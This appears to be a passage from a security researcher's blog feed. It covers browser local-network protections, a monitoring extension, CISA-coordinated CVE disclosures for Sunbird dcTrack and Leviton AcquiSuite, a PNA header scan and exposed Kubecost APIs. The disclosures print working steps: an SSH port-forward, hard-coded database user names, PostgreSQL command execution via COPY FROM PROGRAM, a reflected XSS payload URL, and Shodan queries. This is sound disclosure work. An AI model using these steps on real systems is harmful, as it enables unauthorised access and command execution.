      <li>LNA pauses network requests mid-flight to wait for user approval. This works reasonably well for <code class="language-plaintext highlighter-rouge">fetch()</code>.</li>
      <li>However, it becomes complicated for WebSockets (tight handshake timing), Service Workers (no visible UI), Shared Workers, and certain navigation flows.</li>
      <li>The browser network stack wasn’t originally built for interactive boundary checks.</li>
      <li>LNA had to retrofit permission logic into complex plumbing.</li>
    </ul>
  </li>
</ol>

<h3 id="browser-adoption-status">Browser Adoption Status</h3>
<p>(As of February 2026)</p>

<table>
  <thead>
    <tr>
      <th>Browser</th>
      <th>PNA Support</th>
      <th>LNA Support</th>
      <th>LNA Version</th>
      <th>Current Status (Feb 2026)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Chrome/Chromium</strong></td>
      <td>✅ (2021-2025)</td>
      <td>✅</td>
      <td>Chrome 142+ (Sept 2025)</td>
      <td>Full LNA enforcement</td>
    </tr>
    <tr>
      <td><strong>Microsoft Edge</strong></td>
      <td>❌</td>
      <td>✅</td>
      <td>Edge 142+ (2025)</td>
      <td>Full LNA enforcement</td>
    </tr>
    <tr>
      <td><strong>Firefox</strong></td>
      <td>❌</td>
      <td>🔄 Trials</td>
      <td>Firefox Nightly</td>
      <td>In development</td>
    </tr>
    <tr>
      <td><strong>Safari</strong></td>
      <td>❌</td>
      <td>❌</td>
      <td>N/A</td>
      <td>Partial / Different model</td>
    </tr>
  </tbody>
</table>]]></content><author><name>notnotnotveg</name></author><category term="blog" /><category term="Web Sec" /><summary type="html"><![CDATA[The rise and fall of PNA, and what LNA means for browser security’s future.]]></summary></entry><entry><title type="html">LNAlyzer - Chrome Extension</title><link href="https://wiki.notveg.ninja/tools/lnalyzer/" rel="alternate" type="text/html" title="LNAlyzer - Chrome Extension" /><published>2026-02-14T14:00:00+00:00</published><updated>2026-02-14T14:00:00+00:00</updated><id>https://wiki.notveg.ninja/tools/lnalyzer</id><content type="html" xml:base="https://wiki.notveg.ninja/tools/lnalyzer/"><![CDATA[<p><em>A Chrome Extension to monitor what URLs on private/local network your current tab attempted to access..</em></p>

<h2 id="introduction">Introduction</h2>
<p>Ever seen a browser prompt saying a website wants to “connect to a device on your local network” — and wondered why? What exactly is it trying to reach? Your smart home devices? Your router? A local server?</p>

<p><a href="https://github.com/user-attachments/assets/4d1181e4-836a-454d-8ffd-f5f9d87864c9" class="image-popup">
  <img src="https://github.com/user-attachments/assets/4d1181e4-836a-454d-8ffd-f5f9d87864c9" />
</a></p>

<h2 id="what-it-does">What It Does</h2>
<p>LNalyzer monitors and displays any attempts by websites to access resources on your private/local network. When you visit a webpage, the extension tracks requests to private IP addresses (like 192.168.x.x or 10.x.x.x) and displays them in a simple, easy-to-read popup.</p>

<p>You’ll see:</p>
<ul>
  <li>Detect and log Local Network Access (LNA) requests.</li>
  <li>View full request URLs in a clear, easy-to-read pane.</li>
  <li>Understand which sites are scanning or probing your private network.</li>
</ul>

<h2 id="demo">Demo</h2>

<p><a href="https://github.com/user-attachments/assets/9b4d2f9f-b5e6-4995-a72f-d659361113f4" class="image-popup">
  <img src="https://github.com/user-attachments/assets/9b4d2f9f-b5e6-4995-a72f-d659361113f4" />
</a></p>

<h2 id="how-it-works-technical-overview">How It Works (Technical Overview)</h2>
<p>LNalyzer uses Chrome’s <strong>WebRequest API</strong> to monitor network activity, but with a clever insight: requests to local/private network addresses often behave differently than regular internet requests — they tend to hang or take longer to resolve.</p>

<p>Here’s how the extension detects potential local network access:</p>

<ol>
  <li>
    <p><strong>Request Tracking</strong>: When any network request starts, the extension records it along with a timestamp using <code class="language-plaintext highlighter-rouge">chrome.webRequest.onBeforeRequest</code>.</p>
  </li>
  <li><strong>Pending Detection</strong>: The extension monitors how long each request remains in-flight. If a request is still pending after <strong>1 second</strong> (the <code class="language-plaintext highlighter-rouge">PENDING_THRESHOLD</code>), it’s flagged as suspicious. These hanging requests are strong indicators of local network access attempts, since:
    <ul>
      <li>Private IP addresses may not respond if no device exists at that address</li>
      <li>Browser security policies may block or delay these requests</li>
      <li>Local network requests often timeout rather than complete quickly</li>
    </ul>
  </li>
  <li>
    <p><strong>Cleanup on Completion</strong>: When requests complete (successfully via <code class="language-plaintext highlighter-rouge">onCompleted</code> or with errors via <code class="language-plaintext highlighter-rouge">onErrorOccurred</code>), they’re removed from the pending list. This ensures only truly stuck requests are displayed.</p>
  </li>
  <li>
    <p><strong>Tab-Specific Filtering</strong>: The extension tracks your active tab and only shows pending requests associated with the current page you’re viewing, keeping the display focused and relevant.</p>
  </li>
  <li><strong>Real-time Updates</strong>: The popup receives notifications whenever the pending request state changes, giving you a live view of what’s happening.</li>
</ol>

<p>The key insight is that <strong>legitimate internet requests typically complete quickly</strong>, while attempts to probe local network addresses often result in requests that hang indefinitely or timeout. By surfacing these pending requests, LNalyzer reveals local network access attempts that would otherwise be invisible without diving into DevTools.</p>

<p>The extension is <strong>lightweight and completely private</strong> — all monitoring happens locally in your browser, and no data is sent anywhere.</p>]]></content><author><name>notnotnotveg</name></author><category term="Tools" /><category term="Web Sec" /><category term="Tools" /><summary type="html"><![CDATA[A Chrome Extension to monitor what URLs on private/local network your current tab attempted to access..]]></summary></entry><entry><title type="html">CVE-2025-66238 and CVE-2025-66237</title><link href="https://wiki.notveg.ninja/blog/CVE-2025-66238-CVE-2025-66237/" rel="alternate" type="text/html" title="CVE-2025-66238 and CVE-2025-66237" /><published>2025-12-06T14:00:00+00:00</published><updated>2025-12-06T14:00:00+00:00</updated><id>https://wiki.notveg.ninja/blog/CVE-2025-66238-CVE-2025-66237</id><content type="html" xml:base="https://wiki.notveg.ninja/blog/CVE-2025-66238-CVE-2025-66237/"><![CDATA[<h2 id="cve-2025-66238-and-cve-2025-66237">CVE-2025-66238 and CVE-2025-66237</h2>

<h3 id="cisa-ics-advisory">CISA ICS Advisory</h3>
<p><a href="https://www.cisa.gov/news-events/ics-advisories/icsa-25-338-05">ICSA-25-338-05</a></p>

<h3 id="summary">Summary</h3>

<p>The DCIM dcTrack platform is affected by two vulnerabilities that allow an authenticated user to escape its restricted SSH shell. The first is a misconfiguration that permits SSH port forwarding, enabling access to internal services that should not be reachable. The second is the presence of hard-coded credentials for the platform’s internal PostgreSQL database. Together, these issues allow a restricted user to break out of the limited shell environment and execute arbitrary commands on the underlying system.</p>

<h3 id="versions-impacted">Versions Impacted</h3>

<p>The products affected are :</p>

<table>
  <thead>
    <tr>
      <th>Vendor</th>
      <th>Product</th>
      <th>Version Impacted</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Sunbird</td>
      <td>DCIM dcTrack</td>
      <td>&lt; 9.2.3</td>
    </tr>
    <tr>
      <td>Sunbird</td>
      <td>Power IQ</td>
      <td>&lt; 9.2.1</td>
    </tr>
  </tbody>
</table>

<h3 id="vulnerability-details">Vulnerability Details</h3>
<h4 id="cve-2025-66238">CVE-2025-66238</h4>
<p>The restricted shell that the platforms concerned expose over SSH is intended to limit users and administrators to a narrow and controlled command set. However, SSH port forwarding is not disabled for these accounts. As a result, an authenticated user or administrator can establish local or remote port-forwarding tunnels to services bound only to the host’s internal interfaces.</p>

<p>This vulnerability can be reproduced using an ssh client to connect to the target Sunbird DCIM dcTrack server and port forward to the local Postgres database using the example command :</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh config@TARGET_IP <span class="nt">-L</span> 5432:localhost:5432
</code></pre></div></div>

<h4 id="cve-2025-66237">CVE-2025-66237</h4>

<p>The platform embeds hard-coded credentials for its internal PostgreSQL instance. When combined with SSH port forwarding (<strong>CVE-2025-XXXX</strong>), an authenticated restricted-shell user can connect directly to this database from their local machine.</p>

<p>Multiple database users (odbcuser, raritan and dctrack) used by the platform use default and hard coded credentials for access.</p>

<p>Because the PostgreSQL configuration permits execution pathways that reach the underlying operating system, this access can be leveraged to escape the restricted shell and execute arbitrary commands on the host.</p>

<p>This vulnerability can be reproduced using a Postgres database client using the following parameters :
Port :  <code class="language-plaintext highlighter-rouge">tcp/5432</code>
Database Name :  <code class="language-plaintext highlighter-rouge">raritan</code>
Database Users :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>odbcuser
raritan
dctrack
</code></pre></div></div>

<h3 id="impact-">Impact :</h3>
<p>By exploiting <strong>CVE-2025-66238</strong>, an attacker can leverage SSH port forwarding to reach backend services on local TCP sockets, escape the restricted shell, and gain access to the platform’s internal PostgreSQL database for privilege escalation.</p>

<p>As an example, the following internal services used by the platform can now be accessed :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tcp        0      0 127.0.0.1:4949          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN      1246/postmaster     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::5432                 :::*                    LISTEN      1246/postmaster     
tcp6       0      0 :::443                  :::*                    LISTEN      -                   
tcp6       0      0 :::8161                 :::*                    LISTEN      -                   
tcp6       0      0 127.0.0.1:8005          :::*                    LISTEN      -                   
tcp6       0      0 :::36463                :::*                    LISTEN      -                   
tcp6       0      0 :::61616                :::*                    LISTEN      -                   
tcp6       0      0 :::8080                 :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
</code></pre></div></div>

<p>With <strong>CVE-2025-66237</strong>, an attacker who obtains the hard‑coded PostgreSQL credentials can take full control of the database, escalate privileges on the platform, and ultimately execute system commands on the host.</p>

<p>This can be be used to access the database that is used to store configurations, data and authentication details for the platform :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ psql -h 127.0.0.1 -U raritan raritan
psql (14.15 (Ubuntu 14.15-0ubuntu0.22.04.1), server 12.9)
Type "help" for help.

raritan=# \list
                                  List of databases
   Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
-----------+----------+----------+-------------+-------------+-----------------------
 postgres  | postgres | UTF8     | C           | C           | 
 raritan   | raritan  | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0 | postgres | UTF8     | C           | C           | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
 template1 | postgres | UTF8     | C           | C           | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
(4 rows)
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>raritan=# \c raritan
psql (14.15 (Ubuntu 14.15-0ubuntu0.22.04.1), server 12.9)
You are now connected to database "raritan" as user "raritan".
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>raritan=# SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
                        table_name                         
-----------------------------------------------------------
 audit_log_cursors
 audit_logs
 batch_job_execution
 batch_job_execution_context
 batch_job_execution_params
 batch_job_instance
 batch_step_execution
 configuratr_settings
 cron_task_schedules
 dashboardr_poweriq_credentials
 databasechangelog
 databasechangeloglock
 dct_model_aliases
 rails_options
 rails_options_old
 rbac_items
 rbac_lks
 rbac_objects
 rbac_permissions
 rbac_role_privileges
 rbac_roles
 roles
 roles_user_groups
 roles_users
 saml_configurations
 user_group_members
 user_groups
 user_prefs
 users
 [TRIMMED_OUTPUT]
(293 rows)
</code></pre></div></div>

<p>Additionally, system commands can be run on the host OS (thus bypassing restricted shell access to platform owners) using techniques such as :</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">CREATE</span> <span class="k">table</span> <span class="k">temp</span><span class="p">(</span><span class="n">t</span> <span class="nb">text</span><span class="p">);</span>
<span class="k">copy</span> <span class="k">temp</span> <span class="k">from</span> <span class="n">program</span> <span class="s1">'ps -aux'</span>
<span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="k">temp</span> <span class="k">limit</span> <span class="mi">1000</span> <span class="k">offset</span> <span class="mi">0</span> <span class="p">;</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0 238644  6812 ?        Ss   Jan30   1:48 /usr/lib/systemd/systemd --switched-root --system --deserialize 16
root           2  0.0  0.0      0     0 ?        S    Jan30   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I&lt;   Jan30   0:00 [rcu_gp]
root        1056  0.1  0.1 374312  8532 ?        Ss   Jan30  17:37 /usr/bin/perl -w /usr/local/sbin/hc.pl
nginx       1059  0.0  0.7 589920 61780 ?        Sl   Jan30   1:09 /opt/sunbird/appliance_manager/vendor/bundle/ruby/3.1.0/bin/rake qc:work
nginx       1060  0.0  0.7 589924 61884 ?        Sl   Jan30   1:08 /opt/sunbird/appliance_manager/vendor/bundle/ruby/3.1.0/bin/rake qc:work
nginx       1061  0.0  0.7 589952 61276 ?        Sl   Jan30   1:08 /opt/sunbird/appliance_manager/vendor/bundle/ruby/3.1.0/bin/rake qc:work
config   1407704  0.0  0.0 235960  5184 pts/0    Ss+  16:19   0:00 /usr/bin/perl -w /usr/local/sbin/config.pl
root     1407706  0.0  0.0 337252  7744 pts/0    S+   16:19   0:00 /usr/bin/sudo /usr/local/sbin/serial-config.pl /var/log/oculan/serial-config.log
root     1407707  0.0  0.4 327936 37284 pts/0    S+   16:19   0:00 /usr/bin/perl -w /usr/local/sbin/serial-config.pl /var/log/oculan/serial-config.log
postgres 1407812  0.0  0.1 1426564 12292 ?       Ss   16:19   0:00 postgres: dctrack raritan 127.0.0.1(38636) idle
postgres 1407814  0.0  0.2 1428104 23220 ?       Ss   16:19   0:00 postgres: raritan raritan 127.0.0.1(40498) idle
postgres 1408621  0.0  0.0 262548  3940 ?        R    16:29   0:00 ps -aux
[TRIMMED_OUTPUT]
</code></pre></div></div>

<h3 id="recommended-mitigations">Recommended Mitigations</h3>
<p>As CISA recommends (in <strong>ICSA-25-338-05</strong>), administrators of these platforms are urged to take defensive measures to minimize the risk of exploitation of this vulnerability, such as :</p>
<ul>
  <li>Restrict network access to administrative services for these platforms over SSH.</li>
  <li>Rotate the default SSH passwords for the administrative user <code class="language-plaintext highlighter-rouge">config</code>.</li>
  <li>Update to the versions : 9.2.3 (dcTrack) and 9.2.1 (Power IQ)</li>
</ul>

<h3 id="disclosure-timeline">Disclosure Timeline</h3>

<table>
  <thead>
    <tr>
      <th><!-- --></th>
      <th><!-- --></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Feb 16, 2025</td>
      <td>Case opened with CERT Coordination Center (CERT/CC).</td>
    </tr>
    <tr>
      <td>Feb 25, 2025</td>
      <td>CISA ICS coordinator assigned.</td>
    </tr>
    <tr>
      <td>Feb 26, 2025</td>
      <td>Sunbird Software join Case.</td>
    </tr>
    <tr>
      <td>Dec 4, 2025</td>
      <td>CISA ICS publishes ICSA-25-338-05</td>
    </tr>
    <tr>
      <td>Dec 4, 2025</td>
      <td>Responsible public disclosure of details.</td>
    </tr>
  </tbody>
</table>

<h3 id="acknowledgements">Acknowledgements</h3>
<p>A shout out to the Technical Editors and Writers at CISA Industrial Control Systems Vulnerability Management and Coordination, as well as the engineers at Sunbird Software, for being prompt on their communications, and their assistance on disclosing the issue.</p>]]></content><author><name>notnotnotveg</name></author><category term="blog" /><category term="CVE" /><summary type="html"><![CDATA[CVE-2025-66238 and CVE-2025-66237]]></summary></entry><entry><title type="html">PNA in the Wild: Rare, but Often Broken</title><link href="https://wiki.notveg.ninja/blog/pna/" rel="alternate" type="text/html" title="PNA in the Wild: Rare, but Often Broken" /><published>2025-08-04T14:00:00+00:00</published><updated>2025-08-04T14:00:00+00:00</updated><id>https://wiki.notveg.ninja/blog/pna</id><content type="html" xml:base="https://wiki.notveg.ninja/blog/pna/"><![CDATA[<p><em>Analyzing the state of PNA adoption in 2025.</em></p>

<h3 id="introduction">Introduction</h3>

<p>Web browsers have quietly become a pivot point between the public internet and private infrastructure – a soft frontier where internal APIs, localhost services, and corporate portals all increasingly brush against the open web.</p>

<p>Historically, the “Same-Origin Policy” (SOP) shielded these local resources by restricting cross-origin access. But as browsers evolved into complex application platforms and usage of <code class="language-plaintext highlighter-rouge">localhost</code> APIs exploded (DevOps dashboards, agent UIs, IoT panels, internal admin tools), attackers found new ways to bridge that gap — abusing misconfigured CORS, DNS rebinding, and request smuggling to reach networks <em>behind</em> the firewall, with the <em>browser as the hopping point</em>.</p>

<p>In this post, we break down how PNA works, why it matters, and  setting the stage for broader research into how widely (and securely) it’s being adopted in the wild.</p>

<h3 id="private-network-access-pna">Private Network Access (PNA)</h3>

<h4 id="what-is-pna">What is PNA</h4>

<p>PNA is the browsers response : a tightened permission and preflight model aimed at stopping “drive-by intranet access”. The core idea is simple — if a public website (Internet) wants to send requests to a more trusted target (e.g., <code class="language-plaintext highlighter-rouge">192.168.x.x</code>, <code class="language-plaintext highlighter-rouge">127.0.0.1</code>, RFC1918, RFC6598), the browser should first <em>preflight</em> and require the backend to explicitly opt-in via the <code class="language-plaintext highlighter-rouge">Access-Control-Allow-Private-Network: true</code> header.</p>

<p><img width="1277" height="998" alt="pna_preflight" src="https://raw.githubusercontent.com/notnotnotveg/notnotnotveg.github.io/refs/heads/master/assets/images/pna_preflight.svg" /></p>

<h4 id="why-pna-matters">Why PNA Matters</h4>

<p>Without PNA, an attacker could embed malicious scripts in a public website and silently scan or exploit internal services reachable from the victim’s browser. PNA forces servers to explicitly acknowledge and allow these cross-network requests — effectively creating a new access boundary enforced at the browser level.</p>

<p>Valuable cases where these considerations matter include examples listed by Oligo Security in their blog <a href="https://www.oligo.security/blog/0-0-0-0-day-exploiting-localhost-apis-from-the-browser">“0.0.0.0 Day: Exploiting Localhost APIs From the Browser”</a>, which shed light on real-world exploitation campaigns of local services and malicious browser fingerprinting.</p>

<h3 id="analyzing-the-state-of-pna">Analyzing the state of PNA</h3>

<p>While conversations about PNA seem to be more prevalent for browser adoption (client-side), its adoption and security implications on applications and services (server-side) have seemingly not received as much attention within the web security research community. <a href="https://nvd.nist.gov/vuln/detail/cve-2024-6221">CVE-2024-6221</a> may be the only known documented security issue where insecure PNA-related CORS headers have made an application intentionally vulnerable, thus bypassing browser protections (similar to traditional CORS issues we are familiar with).</p>

<p>This blog intends to set the stage for such research, provide some high-level insights into what the adoption of PNA headers on web servers looks like, and perhaps open up a can of worms for further research on what is intentional/unintentional.</p>

<h4 id="how-">How ?</h4>

<p>For this research, AWS US East was used as the sample environment — it’s high-density, widely shared, and ideal for spotting patterns across diverse infrastructure. While enterprise networks with heavy private IP space usage would be ideal for this research, this environment provides a practical snapshot of real-world behavior.</p>

<p>This address space was probed with a GET request and the required CORS headers for PNA :</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET / HTTP/1.1
Host: targets
Origin: http://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

</code></pre></div></div>

<p>The headers parsed from the response were :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 [STATUS-CODE]
Server: [SERVER-TYPE]
Access-Control-Allow-Private-Network: [true/false]
Access-Control-Allow-Origin: [ORIGIN]

&lt;title&gt;[SERVICE-BANNNER]&lt;/title&gt;
</code></pre></div></div>

<p>The tool of choice for this was NMAP, with a custom NSE script to capture these headers. The source code for this is linked below.</p>

<h4 id="what-">What ?</h4>

<p>The results from this research would best be demonstrated with the graphic below.</p>

<p><img width="1277" height="998" alt="pna_results" src="https://raw.githubusercontent.com/notnotnotveg/notnotnotveg.github.io/refs/heads/master/assets/images/pna_results.svg" /></p>

<h4 id="interpretation">Interpretation</h4>
<p>Takeaway : PNA adoption is low — but misconfigurations are common where it is used.</p>

<p>Only a small portion of the scanned IP space responded with PNA-related headers. Among those, about <strong>one-third showed insecure configurations</strong>. This typically looked like:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Access-Control-Allow-Private-Network: true</code></li>
  <li><code class="language-plaintext highlighter-rouge">Access-Control-Allow-Origin: *</code> or reflected origin.</li>
</ul>

<p><em>Origin Server breakdown :</em><br />
Response patterns (i.e. allow vs. deny) were fairly consistent across server types, but nginx led in raw numbers.</p>

<p><em>Title/Application Breakdown :</em><br />
While most web server banners were missing (often returning a 404), no distinct patterns or common apps were found. However, these web services without HTML on the web root indicate a possibility that many may be APIs, which may be an area of interest for further research.</p>

<h3 id="checking-your-environment">Checking your environment</h3>
<p>Here’s a quick way you can use NMAP, with a custom script, to check for PNA behavior via preflight-like requests in your internal networks or localhost.</p>

<p>This script can be pulled from here :
<a href="https://github.com/notnotnotveg/nse-http-pna-detect">https://github.com/notnotnotveg/nse-http-pna-detect</a></p>

<p>This can be run as :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nmap -Pn -n --open  --script http-pna-detect.nse -sV 127.0.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2025-01-01 01:00 UTC
Nmap scan report for 127.0.0.1
Host is up (0.0069s latency).
Not shown: 997 filtered ports, 1 closed port
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.7 (protocol 2.0)
80/tcp open  http    nginx
| http-pna-detect: VULNERABLE: Access-Control-Allow-Private-Network: true
| Server: nginx
| Origin: http://example.com
|_Title: Not found
</code></pre></div></div>

<p>Running this with the service detection (<code class="language-plaintext highlighter-rouge">-sV</code>) flag when scanning non-standard web ports is recommended.</p>

<h3 id="wrapping-up">Wrapping Up</h3>
<p>Private Network Access is still emerging in the wild — but it’s already showing signs of the same misconfig pitfalls we’ve seen before with CORS. While adoption is low, early implementations suggest a need for better defaults and clearer guidance.</p>

<p>For anyone managing services in private or hybrid networks, it’s worth scanning your environment and tightening up access rules. Misconfigured PNA headers might not be widespread yet, but they’re already opening doors they shouldn’t.</p>

<p>Security teams should treat PNA like any other surface exposed to the web: validate origins, avoid wildcards, and monitor preflight behavior closely.</p>]]></content><author><name>notnotnotveg</name></author><category term="blog" /><category term="Web Sec" /><summary type="html"><![CDATA[Analyzing the state of PNA adoption in 2025.]]></summary></entry><entry><title type="html">CVE-2025-6185</title><link href="https://wiki.notveg.ninja/blog/CVE-2025-6185/" rel="alternate" type="text/html" title="CVE-2025-6185" /><published>2025-07-19T14:00:00+00:00</published><updated>2025-07-19T14:00:00+00:00</updated><id>https://wiki.notveg.ninja/blog/CVE-2025-6185</id><content type="html" xml:base="https://wiki.notveg.ninja/blog/CVE-2025-6185/"><![CDATA[<h2 id="cve-2025-6185">CVE-2025-6185</h2>

<h3 id="cisa-ics-advisory">CISA ICS Advisory</h3>
<p><a href="https://www.cisa.gov/news-events/ics-advisories/icsa-25-198-01">ICSA-25-198-01</a></p>

<h3 id="summary">Summary</h3>
<p>Leviton (formerly Obvius) AcquiSuite and Energy Monitoring Hub are vulnerable to reflected Cross-Site Scripting (XSS), allowing an attacker to craft a malicious payload in URL parameters, which would execute in a client browser when accessed by a user, steal session tokens, and control the service.</p>

<h3 id="versions-impacted">Versions Impacted</h3>

<p>The products affected are :</p>

<table>
  <thead>
    <tr>
      <th>Vendor</th>
      <th>Product</th>
      <th>Version Impacted</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Leviton</td>
      <td>AcquiSuite</td>
      <td>Version A8810</td>
    </tr>
    <tr>
      <td>Leviton</td>
      <td>Energy Monitoring Hub</td>
      <td> Version A8812</td>
    </tr>
  </tbody>
</table>

<h3 id="vulnerability-details">Vulnerability Details</h3>
<p>This vulnerability is critical in environments where these devices are exposed to shared networks or the internet, particularly in building automation, energy infrastructure, or industrial settings.</p>

<p>An attacker can craft a payload in the “TITLE” URL parameter of the Administrative interface of these devices with malicious HTML and JavaScript. This malicious code would run on a victim’s (server administrator) browser who clicks this link.</p>

<p>A proof of concept payload that generates an alert on the victim’s browser by means of the JavaScript reflected by the server :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://vuln_target/setup/asmodule/Obvius_BACnet/exec.cgi?EXEC=network.sh&amp;COMMAND=Scan+Network+Prompt&amp;TITLE=BACnet+Discover+%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
</code></pre></div></div>

<p>As an example, consider a benign payload such as this (which would need to be URL encoded) :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>BACnet Discover &lt;img src='https://wiki.notveg.ninja/assets/images/profile.png' width="100"height="100"/&gt;
</code></pre></div></div>

<p>This would lead to reflection of the parameter :</p>

<p><a href="https://github.com/user-attachments/assets/9b08baed-ce52-4c30-90de-ad9c6b2ac153" class="image-popup">
  <img src="https://github.com/user-attachments/assets/9b08baed-ce52-4c30-90de-ad9c6b2ac153" />
</a></p>

<p>The injected JavaScript would be added to the page to trigger the payload :
<a href="https://github.com/user-attachments/assets/c794c8a5-58f7-41ce-bed8-e72b8e6cb39c" class="image-popup">
  <img src="https://github.com/user-attachments/assets/c794c8a5-58f7-41ce-bed8-e72b8e6cb39c" />
</a></p>

<h3 id="impact">Impact</h3>
<p>An attacker can use this to execute malicious HTML and JavaScript on the DAQ server administrators browser to potentially steal administrative session tokens and gain control of the DAQ server.</p>

<h3 id="recommended-mitigations">Recommended Mitigations</h3>

<p>As CISA recommends in (ICSA-25-198-01) users take defensive measures to minimize the risk of exploitation of this vulnerability, such as:</p>

<ul>
  <li>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.</li>
  <li>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</li>
  <li>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities of their own and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</li>
</ul>

<h3 id="disclosure-timeline">Disclosure Timeline</h3>

<table>
  <thead>
    <tr>
      <th><!-- --></th>
      <th><!-- --></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Jan 25, 2025</td>
      <td>Case opened with CERT Coordination Center (CERT/CC).</td>
    </tr>
    <tr>
      <td>Jan 29, 2025</td>
      <td>CISA ICS coordinator assigned.</td>
    </tr>
    <tr>
      <td>Jul 17, 2025</td>
      <td>CISA ICS confirms no action from Leviton and publishes ICSA-25-198-01.</td>
    </tr>
    <tr>
      <td>Jul 19, 2025</td>
      <td>Responsible public disclosure of details.</td>
    </tr>
  </tbody>
</table>

<h3 id="acknowledgements">Acknowledgements</h3>
<p>A shout out to the Technical Editors and Writers at CISA Industrial Control Systems Vulnerability Management and Coordination for being prompt on their communications, and their assistance on disclosing the issue.</p>]]></content><author><name>notnotnotveg</name></author><category term="blog" /><category term="CVE" /><summary type="html"><![CDATA[CVE-2025-6185]]></summary></entry><entry><title type="html">The Cost of Exposing your Kubecost</title><link href="https://wiki.notveg.ninja/blog/Kubecost-API-Security-Disclosure/" rel="alternate" type="text/html" title="The Cost of Exposing your Kubecost" /><published>2024-10-12T14:00:00+00:00</published><updated>2024-10-12T14:00:00+00:00</updated><id>https://wiki.notveg.ninja/blog/Kubecost-API-Security-Disclosure</id><content type="html" xml:base="https://wiki.notveg.ninja/blog/Kubecost-API-Security-Disclosure/"><![CDATA[<h3 id="intro-">Intro :</h3>
<p>During a recent engagement of reviewing a Kubernetes environment I came across a service called “Kubecost”, which is intended to be used for monitoring a Kubernetes cluster and provide recommendations to reduce the cost associated with running it.</p>

<p>Given this basic understanding of the functionality, I expected it to be a service that would not tend to provide any data or configurations it collects from the Kubernetes cluster it monitors (possibly by scraping the associated Kubernetes API endpoint). I did not find any such documented APIs or endpoints in the documentation that would indicate the same.</p>

<p>After exploring almost all the functionalities of the Web UI, I see a call to an interesting endpoint in my BurpSuite proxy logs. This endpoint returned back detailed information of all the Pods in the cluster ! The response was identical to what <code class="language-plaintext highlighter-rouge">/api/v1/pods</code> on the Kubernetes API provides. Essentially, this endpoint revealed the detailed configuration for Kubernetes resources to anyone who can access it over the network.</p>

<h3 id="what-is-kubecost">What is Kubecost</h3>

<p>Directly quoting the Kubecost documenation:</p>

<blockquote>
  <p>Kubecost is a monitoring application which provides real-time cost visibility and insights for teams using Kubernetes, helping you continuously reduce your cloud costs.</p>
</blockquote>

<h3 id="enumeration">Enumeration</h3>

<p>Kubecost dashboards accessible to the public Internet can be identified on <a href="https://www.shodan.io/">Shodan</a> using the query:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http.title:"Kubecost"
http.favicon.hash:611531125
</code></pre></div></div>

<p>A <a href="https://docs.projectdiscovery.io/tools/nuclei">nuclei</a> template to identify unauthenticated Kubecost dasboards can be found here: 
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/unauth-kubecost.yaml">unauth-kubecost</a>.</p>

<h3 id="exploitation">Exploitation</h3>
<p>Kubecost is recommended to be run inside trusted networks, since the service does not support authentication and authorization on the dashboard by default. However, in the case that such a Kubecost dashboard is accessible over the network, the following undocumented endpoints (at the time this was reported) are accessible:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/model/allNodes
/model/allPods
/model/allDeployments  
/model/allDaemonSets
</code></pre></div></div>

<p>Though the configurations and information returned are inherently not sensitive, it may leak sensitive information about the infrastructure, and Kubernetes clusters that are misconfigured may leak secrets. As an example, secrets that may be configured as environment variables or arguments, compared to configuring them as Kubernetes Secrets, can expose sensitive data.</p>

<p>A simple process to manually check for such secrets :</p>
<ol>
